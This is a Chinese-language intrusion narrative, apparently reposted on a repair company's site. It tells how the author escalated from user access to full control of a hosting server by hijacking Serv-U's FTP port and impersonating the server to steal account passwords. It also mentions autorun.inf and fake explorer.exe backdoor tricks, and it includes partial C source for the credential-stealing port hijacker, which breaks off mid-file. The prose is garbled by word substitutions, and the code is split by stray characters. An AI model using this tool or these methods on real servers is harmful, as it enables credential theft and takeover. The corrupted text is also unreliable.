设为主页 | 加入收藏 | 繁體中文

利用ftp服务本身缺陷取得最高权限

  一台虚拟主机,NTFS文件系统,主机重要运行的办事为IIS和Serv-U.曾经通过允许上传asp文件并实行那些as文件的题目失掉了一样平常的user权限.由于办理员对目录的设置比较宁静,只有C盘的根目录具有写权限,别的目录都只有读的权限.由于设置装备摆设的宁静性,用本身的后门步伐替换失办事启动的步伐那一招曾经不灵了,向Serv-U的设置装备摆设文件参加一个有实行权限的帐户这一招也行不通了.入侵的那位朋侪曾经试过多种方法,没有一个可行的方法,于是他将这台入侵了一小半的系统pass给了我,看我有没无方法解决. (这位朋侪一天除了吃饭和睡觉外,就在对着电脑随处找新毛病入侵系统,经常有些特别离奇的系统给我看)
  解决方案是从serv-u那里想办法,因为那位朋侪也试过好几种方法了,那些方法
  1.上传个autorun.inf和后门上去硬盘根目录,(如果系统允许autorun的话,办理员看根目录时就会实行autorun.inf里定义的步伐)
  2.上传后门到硬盘根目录,更名为explorer.exe(好久的工具,windows搜刮文件时是先从根目录先搜起的,如果在根目录先搜到,就实行谁人文件.如果系统还存在这题目,如果办理员双击"我的电脑",就会实行了根目录下的谁人后门的explorer.exe)
  3.另有别的他想到的离奇方!
  法都试过了,一样是没办法失掉最高权限
  系统应该曾经打上最新的补丁了,用多个扫描器扫描iis也没有发明到什么毛病,并且根本就是iis和serv-u这两个办事可利用,iis是没办法的了,只有从serv-u中动手.
  系统中已运行一个user权限启动的小后门,只是失掉个user限的shell.出来后检察了一下系统的设置装备摆设和安置了的步伐等等,发明白也只能在Serv-U那里动手脚了.Serv-U是4.1版本的,里面有5个帐号,有两个帐号的是有写权限的,并且root目录是在c:\下(通过检察serv-u的谁人ini设置装备摆设文件得知帐户的信息) ,如果能拿到其中一个帐号的暗码,我们就具有写权限了.关键是如何失掉那两个帐号的暗码.
  有人会想到破暗码,这里最原始并且是在没有任何办法时才会试的办法,固然你不要等待有什么高的乐成时机了,大家都应该Serv-u的帐号的暗码是用什么算法加密的了,并且也应该知道那种加密算法用最快的破解步伐,如果要穷举一个只是8位长度的暗码是需要多永劫间的.以是不要先想着破暗码了.
  要失掉登岸serv-u的用户的暗码,有人想到嗅探的方法,这固然是一个好方法,不过得先想想本身所处的权限(只是一样平常的user权限),根本不敷以实行绑中计卡举行的无驱动的的嗅探步伐(已测试过,证实不行的了) .
  嗅探不行,忽然想到shatter attack (有兴味的朋侪可以欣赏一下http://security.tombom.co.uk/shatter.html ), 但看到了 "Any application on a given desktop can send a message to any window on the same desktop" 这句, 我是服从令行出来用user权限运行的一个shell,似乎没有处于任何桌面,以是应该不克不及将信息发到serv-u的tray monitor中去.在测试前我先发了信到serv-u的help center中询问,重要是询问serv-u的4.1版本能否可以受shatter attack所影响, 收到的复兴是4.1版本不会接收以差别权限发过来的信息,serv-u的tray monitor是登岸的办理员权限实行的,而我只是user权限,这曾经很清楚阐明白是不行能的,并且我也历来没有研讨和测试过shatter attack, 以是照旧先放弃了.
  想来想去都没想到什么好的方法,曾经计划不想的了,但在洗澡时却忽然想到serv-u翻开的端口是允许重绑的(不知道是什么原因,很多好的idea都是在洗澡时想到的,包括很多编程时遇到的题目偶然都是在洗澡时想到解决方法的) .能够重绑端口,这样我就可以写一个步伐,绑入serv-u翻开的端口,那么毗连到serv-u端口的验证信息就会被我的步伐所失掉,这样就有可能失掉我所需要的帐号的用户名和暗码了. 固然这个步伐要"扮"得很像serv-u,例如收到毗连时发送的是serv-u的精确banner,毗连用户发送了用户名来时,步伐也要象serv-u那样发个"331 User name okay, need password."的信息要求输入暗码, 当用户输入暗码后,步伐就给毗连者发送一个信息,大抵是说毗连者的IP是不允许登岸的,然后就断开毗连者. 为了不被办理员发觉到题目,步伐在失掉那两个有用的帐号的其中一个的暗码后,就会从内存中加入,这样原来的serv-u就能继续正常的工作,固然步伐在加入前会将失掉的帐号和暗码发到我的hotmail的信箱中去.为了保险点,将帐号和暗码备份写入到硬盘的一个文件中去(以防hotmail的办事偶然停止无法接到邮件).
  写到这里,剩下的题目就是写出谁人步伐了,那不算是什么困难的步伐,因为各个部分的工具都曾经写过,以是写出来后测试了一下就能投入工作了.步伐在那系统中运行了,我就翻开了msn等着接信了.约莫是半天时间左右吧,就失掉了想要的帐号和暗码了. 有了这个帐号,我就能登岸进谁人serv-u中修正serv-u的设置装备摆设,加个有实行权限的帐号,然后用这个新加的帐号就能上传任何后门或者别的工具上去那系统中运行了.到了这里,系统的最高权限曾经到手了.
  结语:
  能够乐成失掉最高权限,这是由这两个"缺陷"所造成的.
  1.serv-u本身翻开的端口允许重新绑定,不过说是缺陷实在有点过份,因为serv-u的设计者没有想到你的系统会被人入侵到的).我也发信到serv-u中阐明白一下这题目,希望serv-u新的版本翻开的端口不允许被别的步伐所重绑(实在只是多加一行代码就行了)
  2.user权限下也可以重绑入别的以办事身份(local system)启动的步伐的端口(说是缺陷也是有点过份) .
  3.别的的ftp办事步伐也有可能存在这个被重绑端口后登录者的帐号和暗码被窃取的题目存在,并且别的的应用步伐如果端口允许被重绑的话,也存在这种题目,只是视乎传输的信息能否明文照旧被强度的算法加密过而已.端口被重绑后产生的题目是存在已久的了,以是我不会说是我发明的,这个文章也只是随便举了一个由于端口被重绑后产生的严重结果的例子罢了.
  背面所跟的步伐代码,我是去失了将帐号和暗码发送到邮箱的功能的,只是将信息生存到LogFile.Dat这文件中去,这是由于这类代码不会有什么人是利用来做好事的,以是在线通知也就删除了比较好.
  [php]
  //民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主
  // Version: V1.0
  // Coder: WinEggDrop
  // Date Release: NULL
  // Purpose: To Hijack FTP Se!
  ver's Open Port And Steal The Connector's UserName And Pass
  // Test PlatForm: Win 2K Pro And Server SP4,Serv-U V4.1
  // Compiled On: VC++ 6.0
  // Others: This Code Is Only To Demonstrate The Danger Of An Application Allowing Its
  // Communication Port To Be Re-Binded(Hijack In Other Word).
  // If Your Box Is In A Lan,Don't Test It On Your Only Box Since It May Not Work
  //民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主民主
  #include
  #include
  #include
  #pragma comment(lib,"wsock32.lib")
  SOCKET ListenSocket = INVALID_SOCKET;
  static CRITICAL_SECTIONcs;
  const char *LogFile = "c:\\LogFile.Dat";
  // Function ProtoType Declaration
  //-------------------------------------------------------------------------------------------------!
  -----
  BOOL StartHijack(const char *IPToBind,cons!
  t char *
  Port);
  BOOL IsDigits(const char *String);
  BOOL InitSocket();
  BOOL CreateSocket(const char *IPToBind,const UINT ListenPort);
  BOOL HandleFTPRequest();
  BOOL SaveInfo(const char *FileName,const char *Info);
  BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
  BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize);
  DWORD WINAPI FTPThread(LPVOID Para);
  BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket);
  //------------------------------------------------------------------------------------------------------
  // End Of Fucntion ProtoType Declaration
  int main(int argc,char *argv[])
  {
  if (argc != 3)// Not Enough Parameters
  {
  // Show The Usage And Example,Then Exit The Program
  printf("Usage: %s BindedIP ListenPort\n",argv[0]);
  printf("Example: %s 192.168.0.1 21\n&qu!
  ot;,argv[0]);
  return 0;
  }
  InitializeCriticalSection(&cs);
  StartHijack(argv[1],argv[2]);// We Are About to Hijack The Port
  DeleteCriticalSection(&cs);
  return 0;
  }
  //--------------------------------------------------------------------------------------------
  // Purpose: To Create A Listening Socket
  // Return Type: BOOLEAN
  // Parameters:
  // In: char UINT ListenPort --> The Listening Port
  //--------------------------------------------------------------------------------------------
  BOOL CreateSocket(const char *IPToBind,const UINT ListenPort)
  {
  struct sockaddr_in Client;
  ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);// Create Socket
  if (ListenSocket == INVALID_SOCKET)// Fail To Create Socket
  {
  printf("Fail To Create Socket\n");
  return FALSE;
  }
  memset(&Client, 0, sizeof(Clie!
  nt));
  Client.sin_family = AF_INET;
  Client.sin_port = h!
  tons(Lis
  tenPort);
  Client.sin_addr.s_addr = inet_addr(IPToBind);
  // Set Socket Option To Hijack The Port(Re-Bind Or Re-Use In Other word)
  BOOL bReUser = TRUE;
  if (setsockopt(ListenSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&bReUser,sizeof(bReUser)) != 0)
  {
  closesocket(ListenSocket);
  printf("Fail To Hijack The Port\n");
  return FALSE;
  }
  // Bind Socket
  if (bind(ListenSocket,(const struct sockaddr *)&Client,sizeof(Client)) == INVALID_SOCKET)
  {
  closesocket(ListenSocket);
  printf("Fail To Bind Port\n");
  return FALSE;
  }
  // Listen On The Port
  if (listen(ListenSocket,5) == INVALID_SOCKET)
  {
  closesocket(ListenSocket);
  return FALSE;
  }
  return TRUE;
  }// End Of CreateSocket()
  //--------------------------------------------------------------------------------------------
  // Purpose: To Check The Parameters And Start To Hijack   r>// Return Type: BOOLEAN
  // Parameters:
  // In: const char *Port --> The Listening Port
  //--------------------------------------------------------------------------------------------
  BOOL StartHijack(const char *IPToBind,const char *Port)
  {
  if (!InitSocket())// Init Socket
  {
  printf("Fail To Init Socket\n");
  return FALSE;
  }
  if (!IsDigits(Port))// Check Whether It's Invalid Port
  {
  printf("Invalid Listen Port\n");
  return FALSE;
  }
  UINT ListenPort = atoi(Port);// Get The Port
  if (ListenPort <= 0 ││ ListenPort > 65535)
  {
  printf("The Listen Port Is Out Of Bound\n");
  return FALSE;
  }
  if (!CreateSocket(IPToBind,ListenPort))// Create A TCP Listening Socket
  {
  printf("Fail To Create Socket\n");
  return FALSE;
  }
  return HandleFTPRequest()!
  ;
  }// End Of StartHijack()
  // No Need To Comment
  !
  BOOL Ini
  tSocket()
  {
  WSADATA data;
  WORD ver;
  ver = MAKEWORD(2,2);
  return (WSAStartup(ver, &data) == 0);
  }// End Of InitSocket()
  //--------------------------------------------------------------------------------------------
  // Purpose: To Send Buffer Through Socket
  // Return Type: BOOLEAN
  // Parameters:
  // In: const SOCKET ClientSocket --> The Client Connected Socket
  //--------------------------------------------------------------------------------------------
  BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
  {
  return (send(ClientSocket,Message,strlen(Message),0) != SOCKET_ERROR);
  }// End Of SendSocket()
  //--------------------------------------------------------------------------------------------
  // Purpose: To Send FTP Banner To The Client
  // Return Type: BOOLEAN
  // Parameters:
  // !
  ; In: const SOCKET ClientSocket --> The Client Connected Socket
  //--------------------------------------------------------------------------------------------
  BOOL SendFTPBanner(const SOCKET ClientSocket)
  {
  char *SendWelcomeInfo = "220 Serv-U FTP Server v4.1 for WinSock ready...\r\n";
  return SendSocket(ClientSocket,SendWelcomeInfo);
  }// End Of SendFTPBanner()
  //--------------------------------------------------------------------------------------------
  // Purpose: To Receive Buffer From Socket 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: